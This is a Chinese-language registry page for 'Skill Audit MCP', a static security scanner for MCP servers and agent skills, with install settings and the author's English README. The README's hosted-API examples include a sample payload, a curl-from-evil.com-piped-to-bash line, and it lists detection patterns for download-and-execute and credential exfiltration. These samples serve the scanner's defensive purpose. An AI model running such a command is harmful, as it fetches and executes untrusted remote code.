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Skill Audit MCP

作者:eltociear版本 1.2.0i★ –i电脑或云端
注册名称io.github.eltociear/skill-audit-mcp

安装

概览

作者提供的说明(英文原文)

MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.

PopNx MCP 的三大支柱

这三项永远不会合并成一个分数:意见、测量和人气是不同的东西。

它能帮你做什么

我们还没有为它写通俗的介绍。下面是我们从注册中心读取到的事实。

安装

选择你使用的 AI 应用,然后复制设置。

安装之前

你需要

你用的是哪个应用?

在上方选择你的应用。我们会记住它,下次按钮会显示“安装到 …”。

适用于网页版、桌面版和手机版 Claude:

  1. 打开 Settings → Connectors
  2. 点击 Add custom connector
  3. 粘贴下面的地址,然后点击 Add
  4. 如果要求登录,请登录作者的服务
SettingsConnectors1+ Add2https://…3
https://eltociear-skill-audit.hf.space/mcp

或者在你的电脑上运行

打开 Claude Desktop → Settings → Developer → Edit Config,把下面的内容粘贴到 claude_desktop_config.json

{
  "mcpServers": {
    "skill-audit": {
      "command": "docker",
      "args": [
        "run",
        "-i",
        "--rm",
        "ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0"
      ]
    }
  }
}

在终端中运行这条命令

claude mcp add --transport http skill-audit https://eltociear-skill-audit.hf.space/mcp

或者在你的电脑上运行

claude mcp add skill-audit -- docker run -i --rm ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0

在 Cursor 中打开

或者自己复制设置

粘贴到项目中的 .cursor/mcp.json,或 ~/.cursor/mcp.json

{
  "mcpServers": {
    "skill-audit": {
      "url": "https://eltociear-skill-audit.hf.space/mcp"
    }
  }
}

或者在你的电脑上运行

在 Cursor 中打开

或者自己复制设置

粘贴到项目中的 .cursor/mcp.json,或 ~/.cursor/mcp.json

{
  "mcpServers": {
    "skill-audit": {
      "command": "docker",
      "args": [
        "run",
        "-i",
        "--rm",
        "ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0"
      ]
    }
  }
}

浏览器会先询问是否打开应用,然后应用会显示设置并请你确认。密钥的值会留空,由你自己填写。

在 VS Code 中打开

或者自己复制设置

粘贴到项目中的 .vscode/mcp.json

{
  "servers": {
    "skill-audit": {
      "type": "http",
      "url": "https://eltociear-skill-audit.hf.space/mcp"
    }
  }
}

或者在你的电脑上运行

在 VS Code 中打开

或者自己复制设置

粘贴到项目中的 .vscode/mcp.json

{
  "servers": {
    "skill-audit": {
      "type": "stdio",
      "command": "docker",
      "args": [
        "run",
        "-i",
        "--rm",
        "ghcr.io/eltociear/skill-audit-mcp:mcp-1.2.0"
      ]
    }
  }
}

浏览器会先询问是否打开应用,然后应用会显示设置并请你确认。密钥的值会留空,由你自己填写。

ChatGPT 只能连接互联网上的服务器:

  1. 打开网页版 ChatGPT → Settings → Connectors (Apps)
  2. 点击 Create 或 Add(部分套餐需要先在 Advanced 中开启 Developer mode)
  3. 粘贴下面的地址,起个名字,然后保存
  4. 如果要求登录,请登录作者的服务
SettingsConnectors1+ Create2https://…3
https://eltociear-skill-audit.hf.space/mcp

菜单名称可能因套餐和版本不同而略有差异。

你的选择通过 Cookie 保存在这台设备上,无需账户。

这些设置是根据作者在注册中心的条目生成的。如果 README 的写法不同,请以 README 为准。

它能做什么

我们还没有读取这个服务器的工具列表;我们会轮流检查各个端点。

基础检查i

我们检查的是任何人都能看到的信息;我们没有阅读代码。不适用的检查项不计入总数。 · 检查于 2026年11月8日

  • ✓ 通过

    作者与仓库一致

    注册名称已通过 GitHub 账户 eltociear 验证,该账户拥有此仓库

  • … 尚未检查

    仍在维护

    我们还没有从 GitHub 读取这个仓库

  • … 尚未检查

    有许可证

    我们还没有从 GitHub 读取这个仓库

  • … 尚未检查

    端点有响应

    尚未检查;我们会轮流检查各个端点

  • … 尚未检查

    使用 OAuth 登录

    尚未检查;我们会轮流检查各个端点

  • … 尚未检查

    工具描述中没有隐藏指令

    尚未检查;我们会在检查端点时读取工具列表

与“网络安全”中的其他服务器比较i

  • 星标数多于此分类中其他 995 个服务器的 0%
  • 发布到注册中心的时间比此分类中其他 995 个服务器的 53% 更新
  • 基础检查结果等于或优于此分类中其他 995 个服务器的 100%

与注册中心里这个分类中所有活跃的服务器比较。只有当发布者拥有该仓库时,星标数才计入。

常见问题

Skill Audit MCP 安全吗?

它在 1 项适用的基础检查中通过了 1 项。我们没有阅读代码。在添加密钥或令牌之前,请先看看这个服务器要求哪些权限,并使用只具备所需权限的密钥。

它需要哪些密钥或代码?

注册中心没有列出必需的密钥,不过有些服务器会在首次使用时要求你登录。

它在我的电脑上运行还是在云端?

两种方式都可以:安装在你的电脑上,或者连接云端版本。

它还在维护吗?

GitHub 仓库最后更新于–,最新版本(1.2.0)于39天前进入注册中心。

哪些应用可以使用它?

支持 MCP 的应用,例如 Claude Desktop、Claude Code、Cursor 和 VS Code。它通过 URL 连接,所以接受远程 MCP 服务器的应用也可以使用,例如开启开发者模式的 ChatGPT。

有什么可以替代它?

同一分类中有:WatchGuard MCP, ipdata MCP by usefulapi, MaxMind minFraud MCP by usefulapi

替代选择

同一分类中其他作者的服务器,按星标数排序。

如何看卡片:★ GitHub 星标i三大支柱:评价 · 检查 · 使用情况i更新 = 最新版本发布到注册中心的时间i

WatchGuard MCP

作者:servosity

WatchGuard Cloud Firebox, Endpoint Security, ThreatSync, NDR and AuthPoint APIs for every customer

在你的电脑上运行今天更新
安装

Look up location, network, company and threat data for IP addresses and ASNs in ipdata.

在云端运行今天更新
安装

作者的 README

打开 README

按原文从作者的仓库复制。PopNx MCP 没有审查或背书其内容。HTML、图片和脚本已被移除。链接会离开本站。

skill-audit-mcp

Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.

⚡ Try it in 30 seconds

# Option A: Docker (zero install, works anywhere)

docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

Option B: Hosted API (pay-per-scan, no signup)

curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

Option C: GitHub Action (CI/CD) — see below

📡 Featured in

Cross-referenced from the discovery channels that AI/security engineers actually read:

Four ways to use:

1. GitHub Action (CI/CD)

Add to your workflow to automatically scan PRs:

name: MCP Security Audit

on: [pull_request]

jobs: audit: runs-on: ubuntu-latest steps:

  • uses: actions/checkout@v4
  • uses: eltociear/skill-audit-mcp@v1 with: path: '.' fail-on: 'HIGH'

With SARIF upload (shows findings in GitHub Security tab):

      - uses: eltociear/skill-audit-mcp@v1

with: path: '.' sarif: 'results.sarif'

  • uses: github/codeql-action/upload-sarif@v3 if: always() with: sarif_file: 'results.sarif'

2. CLI

Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README said npx @eltociear/skill-audit-mcp, which never resolved.)

git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp

cd skill-audit-mcp

python3 cli.py --path ./server.py # scan a file python3 cli.py --path ./some-skill/ # scan a directory python3 cli.py --path . --json # JSON output python3 cli.py --path . --sarif results.sarif # SARIF output python3 cli.py --path . --fail-on HIGH # exit 1 on HIGH or CRITICAL

Findings are labelled by where they live. production decides the exit code; documentation and test are reported but do not fail the scan unless you pass --include-nonproduction. Files an agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under .claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they are the program, not notes about it.

3. MCP Server (Claude Desktop / Cursor)

Add to your MCP config:

{

"skill-audit-mcp": { "type": "stdio", "command": "python3", "args": ["path/to/scanner.py"] } }

Then ask Claude: "Audit this MCP server for security issues"

What it detects

SeverityPatterns
CRITICALDownload & execute (incl. `base64 -d \sh), credential exfiltration (incl. a secret file handed to curl/nc`), key generation, sensitive directory write, seed phrase harvesting
HIGHArbitrary code execution with dynamic input, auth bypass, identity impersonation, prompt injection
MEDIUMPrivilege escalation (world-writable modes, elevated-access requests), obfuscation
INFOExternal downloads, skill installation, unknown API calls, data collection, external URLs, broad filesystem access — reported as context, never scored

Risk scoring

The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.

Sister project — secrets-audit-mcp

For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.

LayerServerDetects
Behaviorsskill-audit-mcp (this)curl-pipe-sh, prompt injection, exfiltration (17 patterns)
Secretssecrets-audit-mcpleaked keys/tokens/PEMs (32 rules)

Run both for full coverage.

4. Docker (offline, multi-arch)

Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.

# Scan the current directory, fail on HIGH or higher

docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --min-severity MEDIUM --fail-on HIGH

Get SARIF for upload to GitHub Code Scanning

docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --sarif-output /work/audit.sarif

5. Hosted API (x402 pay-per-scan)

No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.

curl -X POST https://eltociear-skill-audit.hf.space/audit \

-H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

Or by URL:

curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"url": "https://github.com/some-org/some-mcp-server"}'

First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.

6. pre-commit hook

Add to your .pre-commit-config.yaml:

repos:
  • repo: https://github.com/eltociear/skill-audit-mcp rev: v1.2.0 hooks:
  • id: skill-audit-mcp

Hire me for an audit

Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:

TierPriceDeliverable
Spot scan$500Full repo scan + 1-page risk report with prioritized fixes
Standard$2,000Manual review + PoC for HIGH/CRITICAL findings + remediation PR
Engagement$5,000+Pentest, threat model, retest after fixes, 30-day Slack support

Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).

Email: eltociear@gmail.com (subject: "MCP audit")

Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.

Sponsors

If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:

Security

Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.

Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.

Star history

License

MIT

Free MCP vs paid x402

This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.

Also hosted on the [Apify Store](https://apify.com/eltociear/mcp-server-security-scanner) (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.

Professional audit services

Maintained by the same author — paid services on Polar (Stripe checkout):

  • [MCP Security Audit Report — $5](https://buy.polar.sh/polar_cl_sut9rtngBRutEhBAGk1FmwRYSLrAebowkPw8g2C5Op7) — one-off audit of your MCP server: 17 attack patterns, severity-rated PDF report with concrete fixes.
  • [Security Pulse — $5/mo](https://buy.polar.sh/polar_cl_jKHyL3Ge9u5YGAsjgixp16UYrhU0WGldxvRmN03expZ) (annual $50) — monthly briefing on newly disclosed MCP server vulnerabilities, scan stats across 100+ tracked repos, mitigation playbooks.
  • [Pro Audit Stack — $20/mo](https://buy.polar.sh/polar_cl_C37THjfoFMdOnu6xc1TnMIezYNuBbbivXbvFb3DCpZa) — for teams running MCP servers in CI/CD: 50 hosted scans/month, Discord access, 24h SLA on vulnerability questions.

Full catalog: polar.sh/eltociear

Also live: clean-read ($0.005 / call)

Same operator, same x402 rails: [clean-read](https://eltociear-skill-audit.hf.space/read) turns any URL into cl

只显示了开头部分;其余内容请在仓库中阅读

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